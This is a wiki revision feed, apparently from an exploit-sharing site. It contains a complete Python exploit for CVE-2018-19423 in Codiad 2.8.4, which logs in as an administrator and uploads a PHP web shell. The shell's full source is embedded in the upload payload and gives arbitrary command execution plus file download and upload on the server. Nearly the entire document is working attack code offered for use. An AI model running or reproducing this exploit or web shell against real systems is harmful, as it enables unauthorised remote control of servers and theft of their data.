<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-19423_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-19423 Codiad 2.8.4 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-19423_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-19423_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-13T21:14:11Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-19423_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3290&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3) # Date: 24.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: http://...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-19423_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3290&amp;oldid=prev"/>
		<updated>2021-05-26T12:18:45Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3) # Date: 24.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: http://...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3)&lt;br /&gt;
# Date: 24.05.2021&lt;br /&gt;
# Exploit Author: Ron Jost (Hacker5preme)&lt;br /&gt;
# Vendor Homepage: http://codiad.com/&lt;br /&gt;
# Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4&lt;br /&gt;
# Version: 2.8.4&lt;br /&gt;
# Tested on Xubuntu 20.04&lt;br /&gt;
# CVE: CVE-2018-19423&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Description:&lt;br /&gt;
Codiad 2.8.4 allows remote authenticated administrators to execute arbitrary code by uploading an executable file.&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Import required modules:&lt;br /&gt;
'''&lt;br /&gt;
import requests&lt;br /&gt;
import json&lt;br /&gt;
import time&lt;br /&gt;
import sys&lt;br /&gt;
import urllib.parse&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
User Input:&lt;br /&gt;
'''&lt;br /&gt;
target_ip = sys.argv[1]&lt;br /&gt;
target_port = sys.argv[2]&lt;br /&gt;
username = sys.argv[3]&lt;br /&gt;
password = sys.argv[4]&lt;br /&gt;
codiadpath = input('Please input the path of Codiad( for example: / ): ')&lt;br /&gt;
projectname = input('Please input the name of the actual project: ')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Get cookie&lt;br /&gt;
'''&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
link = 'http://' + target_ip + ':' + target_port + codiadpath&lt;br /&gt;
response = session.get(link)&lt;br /&gt;
cookies_session = session.cookies.get_dict()&lt;br /&gt;
cookie = json.dumps(cookies_session)&lt;br /&gt;
cookie = cookie.replace('&amp;quot;}','')&lt;br /&gt;
cookie = cookie.replace('{&amp;quot;', '')&lt;br /&gt;
cookie = cookie.replace('&amp;quot;', '')&lt;br /&gt;
cookie = cookie.replace(&amp;quot; &amp;quot;, '')&lt;br /&gt;
cookie = cookie.replace(&amp;quot;:&amp;quot;, '=')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Authentication:&lt;br /&gt;
'''&lt;br /&gt;
# Compute Content-Length:&lt;br /&gt;
base_content_len = 45&lt;br /&gt;
username_encoded = urllib.parse.quote(username, safe='')&lt;br /&gt;
username_encoded_len = len(username_encoded.encode('utf-8'))&lt;br /&gt;
password_encoded = urllib.parse.quote(password, safe='')&lt;br /&gt;
password_encoded_len = len(password_encoded.encode('utf-8'))&lt;br /&gt;
content_len = base_content_len + username_encoded_len + password_encoded_len&lt;br /&gt;
&lt;br /&gt;
# Header:&lt;br /&gt;
header = {&lt;br /&gt;
    'Host': target_ip,&lt;br /&gt;
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',&lt;br /&gt;
    'Accept': '*/*',&lt;br /&gt;
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',&lt;br /&gt;
    'Accept-Encoding': 'gzip, deflate',&lt;br /&gt;
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',&lt;br /&gt;
    'X-Requested-With': 'XMLHttpRequest',&lt;br /&gt;
    'Content-Length': str(content_len),&lt;br /&gt;
    'Origin': 'http://' + target_ip + ':' + target_port,&lt;br /&gt;
    'Connection': 'close',&lt;br /&gt;
    'Referer': 'http://' + target_ip + ':' + target_port + '/',&lt;br /&gt;
    'Cookie': cookie&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Body:&lt;br /&gt;
body = {&lt;br /&gt;
    'username': username,&lt;br /&gt;
    'password': password,&lt;br /&gt;
    'theme': 'default',&lt;br /&gt;
    'language': 'en'&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Post authentication request:&lt;br /&gt;
link_base = 'http://' + target_ip + ':' + target_port + codiadpath&lt;br /&gt;
link_auth = link_base + 'components/user/controller.php?action=authenticate'&lt;br /&gt;
print('')&lt;br /&gt;
print('Posting authentication request: ')&lt;br /&gt;
auth = requests.post(link_auth, headers=header, data=body)&lt;br /&gt;
print('Response: ')&lt;br /&gt;
print(auth.text)&lt;br /&gt;
time.sleep(2)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Upload Webshell:&lt;br /&gt;
'''&lt;br /&gt;
# Construct Header:&lt;br /&gt;
header = {&lt;br /&gt;
    'Host': target_ip,&lt;br /&gt;
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',&lt;br /&gt;
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',&lt;br /&gt;
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',&lt;br /&gt;
    'Accept-Encoding': 'gzip, deflate',&lt;br /&gt;
    &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=---------------------------289777152427948045812862014674&amp;quot;,&lt;br /&gt;
    'Connection': 'close',&lt;br /&gt;
    'Cookie': cookie,&lt;br /&gt;
    'Upgrade-Insecure-Requests': '1'&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Construct Shell Payload: https://github.com/flozz/p0wny-shell&lt;br /&gt;
data = &amp;quot;\r\n\r\n\r\n-----------------------------289777152427948045812862014674\r\nContent-Disposition: form-data; name=\&amp;quot;upload[]\&amp;quot;; filename=\&amp;quot;shell.php\&amp;quot;\r\nContent-Type: application/x-php\r\n\r\n\r\n\r\n&amp;lt;?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\&amp;quot;/^\\s*cd\\s*$/\&amp;quot;, $cmd)) {\n        // pass\n    } elseif (preg_match(\&amp;quot;/^\\s*cd\\s+(.+)\\s*(2&amp;gt;&amp;amp;1)?$/\&amp;quot;, $cmd)) {\n        chdir($cwd);\n        preg_match(\&amp;quot;/^\\s*cd\\s+([^\\s]+)\\s*(2&amp;gt;&amp;amp;1)?$/\&amp;quot;, $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\&amp;quot;/^\\s*download\\s+[^\\s]+\\s*(2&amp;gt;&amp;amp;1)?$/\&amp;quot;, $cmd)) {\n        chdir($cwd);\n        preg_match(\&amp;quot;/^\\s*download\\s+([^\\s]+)\\s*(2&amp;gt;&amp;amp;1)?$/\&amp;quot;, $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \&amp;quot;stdout\&amp;quot; =&amp;gt; $stdout,\n        \&amp;quot;cwd\&amp;quot; =&amp;gt; getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\&amp;quot;cwd\&amp;quot; =&amp;gt; getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \&amp;quot;compgen -c $fileName\&amp;quot;;\n    } else {\n        $cmd = \&amp;quot;compgen -f $fileName\&amp;quot;;\n    }\n    $cmd = \&amp;quot;/bin/bash -c \\\&amp;quot;$cmd\\\&amp;quot;\&amp;quot;;\n    $files = explode(\&amp;quot;\\n\&amp;quot;, shell_exec($cmd));\n    return array(\n        'files' =&amp;gt; $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' =&amp;gt; array('File not found / no read permission.'),\n            'cwd' =&amp;gt; getcwd()\n        );\n    } else {\n        return array(\n            'name' =&amp;gt; basename($filePath),\n            'file' =&amp;gt; base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' =&amp;gt; array('Invalid path / no write permission.'),\n            'cwd' =&amp;gt; getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' =&amp;gt; array('Done.'),\n            'cwd' =&amp;gt; getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\&amp;quot;feature\&amp;quot;])) {\n\n    $response = NULL;\n\n    switch ($_GET[\&amp;quot;feature\&amp;quot;]) {\n        case \&amp;quot;shell\&amp;quot;:\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2&amp;gt;/', $cmd)) {\n                $cmd .= ' 2&amp;gt;&amp;amp;1';\n            }\n            $response = featureShell($cmd, $_POST[\&amp;quot;cwd\&amp;quot;]);\n            break;\n        case \&amp;quot;pwd\&amp;quot;:\n            $response = featurePwd();\n            break;\n        case \&amp;quot;hint\&amp;quot;:\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\&amp;quot;Content-Type: application/json\&amp;quot;);\n    echo json_encode($response);\n    die();\n}\n\n?&amp;gt;&amp;lt;!DOCTYPE html&amp;gt;\n\n&amp;lt;html&amp;gt;\n\n    &amp;lt;head&amp;gt;\n        &amp;lt;meta charset=\&amp;quot;UTF-8\&amp;quot; /&amp;gt;\n        &amp;lt;title&amp;gt;p0wny@shell:~#&amp;lt;/title&amp;gt;\n        &amp;lt;meta name=\&amp;quot;viewport\&amp;quot; content=\&amp;quot;width=device-width, initial-scale=1.0\&amp;quot; /&amp;gt;\n        &amp;lt;style&amp;gt;\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt &amp;gt; span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input &amp;gt; label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        &amp;lt;/style&amp;gt;\n\n        &amp;lt;script&amp;gt;\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \&amp;quot;\\n\\n\&amp;quot;;\n                eShellContent.innerHTML += '&amp;lt;span class=\\\&amp;quot;shell-prompt\\\&amp;quot;&amp;gt;' + genPrompt(CWD) + '&amp;lt;/span&amp;gt; ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \&amp;quot;\\n\&amp;quot;;\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\&amp;quot;?feature=shell\&amp;quot;, {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\&amp;quot;\\n\&amp;quot;));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -&amp;gt; nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length &amp;lt;= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\&amp;quot;\\n\&amp;quot;));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\&amp;quot; \&amp;quot;);\n                var type = (currentCmd.length === 1) ? \&amp;quot;cmd\&amp;quot; : \&amp;quot;file\&amp;quot;;\n                var fileName = (type === \&amp;quot;cmd\&amp;quot;) ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \&amp;quot;?feature=hint\&amp;quot;,\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\&amp;quot;\\n\&amp;quot;));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \&amp;quot;~\&amp;quot;;\n                var shortCwd = cwd;\n                if (cwd.split(\&amp;quot;/\&amp;quot;).length &amp;gt; 3) {\n                    var splittedCwd = cwd.split(\&amp;quot;/\&amp;quot;);\n                    shortCwd = \&amp;quot;\xc3\xa2\xc2\x80\xc2\xa6/\&amp;quot; + splittedCwd[splittedCwd.length-2] + \&amp;quot;/\&amp;quot; + splittedCwd[splittedCwd.length-1];\n                }\n                return \&amp;quot;p0wny@shell:&amp;lt;span title=\\\&amp;quot;\&amp;quot; + cwd + \&amp;quot;\\\&amp;quot;&amp;gt;\&amp;quot; + shortCwd + \&amp;quot;&amp;lt;/span&amp;gt;#\&amp;quot;;\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\&amp;quot;?feature=pwd\&amp;quot;, {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&amp;amp;/g, \&amp;quot;&amp;amp;\&amp;quot;)\n                    .replace(/&amp;lt;/g, \&amp;quot;&amp;lt;\&amp;quot;)\n                    .replace(/&amp;gt;/g, \&amp;quot;&amp;gt;\&amp;quot;);\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\&amp;quot;shell-prompt\&amp;quot;);\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \&amp;quot;Enter\&amp;quot;:\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \&amp;quot;\&amp;quot;;\n                        break;\n                    case \&amp;quot;ArrowUp\&amp;quot;:\n                        if (historyPosition &amp;gt; 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \&amp;quot;ArrowDown\&amp;quot;:\n                        if (historyPosition &amp;gt;= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \&amp;quot;\&amp;quot;;\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \&amp;quot;=\&amp;quot; + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\&amp;quot;&amp;amp;\&amp;quot;);\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\&amp;quot;POST\&amp;quot;, url, true);\n                xhr.setRequestHeader(\&amp;quot;Content-Type\&amp;quot;, \&amp;quot;application/x-www-form-urlencoded\&amp;quot;);\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 &amp;amp;&amp;amp; xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\&amp;quot;Error while parsing response: \&amp;quot; + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \&amp;quot;SELECT\&amp;quot;) {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\&amp;quot;shell-cmd\&amp;quot;);\n                eShellContent = document.getElementById(\&amp;quot;shell-content\&amp;quot;);\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        &amp;lt;/script&amp;gt;\n    &amp;lt;/head&amp;gt;\n\n    &amp;lt;body&amp;gt;\n        &amp;lt;div id=\&amp;quot;shell\&amp;quot;&amp;gt;\n            &amp;lt;pre id=\&amp;quot;shell-content\&amp;quot;&amp;gt;\n                &amp;lt;div id=\&amp;quot;shell-logo\&amp;quot;&amp;gt;\n        ___                         ____      _          _ _        _  _   &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n|_|                         |___/  \\____/                                  &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;\n                &amp;lt;/div&amp;gt;\n            &amp;lt;/pre&amp;gt;\n            &amp;lt;div id=\&amp;quot;shell-input\&amp;quot;&amp;gt;\n                &amp;lt;label for=\&amp;quot;shell-cmd\&amp;quot; id=\&amp;quot;shell-prompt\&amp;quot; class=\&amp;quot;shell-prompt\&amp;quot;&amp;gt;???&amp;lt;/label&amp;gt;\n                &amp;lt;div&amp;gt;\n                    &amp;lt;input id=\&amp;quot;shell-cmd\&amp;quot; name=\&amp;quot;cmd\&amp;quot; onkeydown=\&amp;quot;_onShellCmdKeyDown(event)\&amp;quot;/&amp;gt;\n                &amp;lt;/div&amp;gt;\n            &amp;lt;/div&amp;gt;\n        &amp;lt;/div&amp;gt;\n    &amp;lt;/body&amp;gt;\n\n&amp;lt;/html&amp;gt;\n\r\n-----------------------------289777152427948045812862014674--\r\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#Construct link and posting request which will upload the file:&lt;br /&gt;
link_exploit = link_base + 'components/filemanager/controller.php?action=upload&amp;amp;path=/var/www/html/data/' + projectname&lt;br /&gt;
print('')&lt;br /&gt;
print('Posting request wich will upload the file: ')&lt;br /&gt;
exploit = requests.post(link_exploit, headers=header, data=data)&lt;br /&gt;
print('Response:')&lt;br /&gt;
print(exploit.text)&lt;br /&gt;
time.sleep(2)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Finish:&lt;br /&gt;
'''&lt;br /&gt;
print('')&lt;br /&gt;
print('File uploaded except you got an error message before. If so please run this program again and correct your',&lt;br /&gt;
      'mistakes!')&lt;br /&gt;
print('')&lt;br /&gt;
print('Path of file on the server: http://' + target_ip + ':' + target_port + codiadpath + '/data/' + projectname + '/' + 'shell.php')&lt;br /&gt;
print('')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>